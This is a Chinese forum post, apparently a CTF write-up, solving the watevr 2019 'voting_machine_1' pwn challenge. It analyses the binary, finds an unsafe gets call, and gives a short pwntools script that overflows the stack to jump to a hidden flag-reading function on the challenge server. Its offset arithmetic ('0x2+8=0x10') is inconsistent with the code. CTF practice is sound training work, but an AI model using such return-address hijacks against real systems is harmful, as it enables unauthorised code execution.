找回密码
 立即注册
首页 业界区 安全 PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出 ...

PWN手成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持

何玲 5 天前
1.png

远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。
2.png

file 查看文件。64 位 ELF 可执行文件。
3.png

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。
4.png

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。
5.png

双击 v4,发现了栈溢出大小为 0x2+8=0x10。
6.png

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。
7.png

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行  fopen("/home/ctf/flag.txt","r"),再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
  1. from pwn import *  
  2.   
  3. r=remote('node5.buuoj.cn',29744)  
  4. flag_addr=0x400807  
  5. payload=b'a'*10+p64(flag_addr)  #一定要是 10, 而不能是 0x10
  6. r.sendline(payload)  
  7. flag=r.recvall()  
  8. print(flag)
复制代码
得到 flag。
8.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册